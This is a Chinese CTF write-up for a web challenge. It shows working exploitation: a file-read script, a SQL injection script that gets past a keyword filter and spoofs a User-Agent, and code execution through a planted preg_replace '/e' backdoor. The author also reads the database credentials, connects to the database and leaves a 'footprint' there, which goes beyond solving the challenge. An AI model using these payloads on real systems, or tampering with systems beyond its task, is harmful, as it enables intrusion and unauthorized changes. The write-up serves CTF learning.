南邮 CTF 综合题2 writeup

0x0 开篇

首先,并没有什么技术含量,单纯记录一下。题目简述:

challenge-desc

打开题目链接是一个留言板,感觉很眼熟,想起群里的菊苣发过题目链接,当时只是随便翻了一下。

challenge-page

0x1 信息收集

翻了几个页面,底部链接 http://cms.nuptzj.cn/about.php?file=sm.txt 指向一个说明文件:

sm.txt

看样子存在文件读取漏洞,测试之后成功读取 index.php:

arbitrary_file_read

用 Python 脚本把源码爬下来:

# -*- coding: utf-8 -*-
import requests
import HTMLParser
import codecs

URL = 'http://cms.nuptzj.cn/about.php?file=%s'
FILE_LIST = ['index.php', 'say.php', 'so.php', 'preview.php', 'about.php',
    'antiinject.php', 'antixss.php']

h = HTMLParser.HTMLParser()

for f in FILE_LIST:
    print '[+] Processing file:' + f + '...'
    res = requests.get(URL % f)
    if res.status_code == 200:
        res.encoding = 'utf-8'

        with codecs.open(f, 'w+', 'utf-8') as handle:
            print 'done'
            text = h.unescape(res.text)
            handle.write(text)

看看存在文件读取漏洞 about.php 的实现:

<?php
    $file=$_GET['file'];

    if($file=="" || strstr($file,'config.php')){
        echo "file参数不能为空!";
        exit();
    }else{
        $cut=strchr($file,"loginxlcteam");

        if($cut==false){
            $data=file_get_contents($file);
            $date=htmlspecialchars($data);
            echo $date;
        }else{
            echo "<script>alert('敏感目录,禁止查看!但是。。。')</script>";
        }
    }

禁止读取 config.php 文件和 loginxlcteam 目录下的文件,访问后是一个后台登陆页面。试了一下弱密码没有成功,继续翻阅其他源码:

admin_login

0x2 漏洞探测

比较有趣的 antiinject.php,看看其实现:

<?php
    function antiinject($content){
        $keyword=array("select","union","and","from",' ',"'",";",'"',"char","or","count","master","name","pass","admin","+",
            "-","order","=");
        $info=strtolower($content);

        for($i=0;$i<=count($keyword);$i++){
            $info=str_replace($keyword[$i], '',$info);
        }

        return $info;
    }

只是对敏感字进行简单的替换,可以通过插入法绕过验证。so.php 中存在对 antiinject 函数的引用,并且没有其他防护措施,所以侧漏了。注意 mysql_real_escape_string 只会转义 \x00、\n、\r、\、'、"、\x1a 字符,这里查询的是数值型数据,所以可以直接注入,另外要设置 User-Agent 才能访问该页面。

<?php
    if($_SERVER['HTTP_USER_AGENT']!="Xlcteam Browser"){
        echo '万恶滴黑阔,本功能只有用本公司开发的浏览器才可以用喔~';
        exit();
    }
    $id=$_POST['soid'];

    include 'config.php';
    include 'antiinject.php';
    include 'antixss.php';
    $id=antiinject($id);

    $con = mysql_connect($db_address,$db_user,$db_pass) or die("不能连接到数据库!!".mysql_error());
    mysql_select_db($db_name,$con);

    $id=mysql_real_escape_string($id);
    $result=mysql_query("SELECT * FROM `message` WHERE display=1 AND id=$id");

    $rs=mysql_fetch_array($result);
    echo htmlspecialchars($rs['nice']).':<br />&nbsp;&nbsp;&nbsp;&nbsp;'.antixss($rs['say']).'<br />';

    mysql_free_result($result);
    mysql_free_result($file);
    mysql_close($con);

0x3 Exploit

先探测一下 message 表有多少字段:

import requests
import colorama

colorama.init(autoreset=True)

url = 'http://cms.nuptzj.cn/so.php'
soid = '233/**/aandnd/**/1>100/**/uniounionn/**/selselectect/**/'

for i in range(1, 30):
    print '[-] try %d count of columns...' % i

    columns = ','.join([str(x) for x in range(1, i + 1)])
    columns += '/**/AS/**/nice'

    payload = soid + columns
    print '[-] Paylaod:', payload

    res = requests.post(url, data={'soid' : payload},
        headers={'User-Agent':'Xlcteam Browser'})
    res.encoding = 'utf-8'

    if '&nbsp;<br />' not in res.text:
        print colorama.Fore.GREEN + '[+] ' + payload
        break

print 'done'

扫描结果:

detect_columns

然后是通过 information_schema 取回信息(SAE 并没有对其进行限制),从 admin 表中取出信息:

admin_table_info

密码字段有点奇怪,应该是 ASCII 数值,将其转换:

chr

成功登陆后台,但是后台并没有 flag:

dashboard

根据提示有一个名为 xlcteam.php 的文件,该文件存在于根目录,先用上面的脚本下载下来:

<?php
    $e = $_REQUEST['www'];
    $arr = array($_POST['wtf'] => '|.*|e',);
    array_walk($arr, $e, '');

array_walk 函数接受三个参数,第一个参数为数组类型,第二个为回调函数名称,array_walk 会遍历每一个数组元素,并将元素键和值传入 callback 进行处理,最后一个从是附加参数。例如:

<?php
    function display($value, $key, $prefix) {
        $str = '%s %s %s <br>';
        echo sprintf($str, $key, $value, $prefix);
    }

    $arr = ['python' => 'funny', 'php' => 'best']
    array_walk($arr, 'display', 'is');

输出:

python is funny
php is best

注意传入函数的参数顺序是:值,键,附加。具体参考 http://php.net/manual/en/function.array-walk.php

看到 *|.\|e,想起 preg_replace 的代码执行功能,而且 array_walk 传入的参数刚好满足条件,构造 payload,成功执行:

code_execute

扫一下目录,发现文件:

dir

扔到 about.php 文件下读取,成功获取 flag:

get_flag

0x4 继续继续

想起禁止读取 config.php 文件,看看文件里有什么好玩的:

config.php

连接一下试试看:

mysql_connect

既然成功了,留下个小脚印吧23333(别打我:

footprint


ctf

337 Words

2016-05-22 05:15 +0800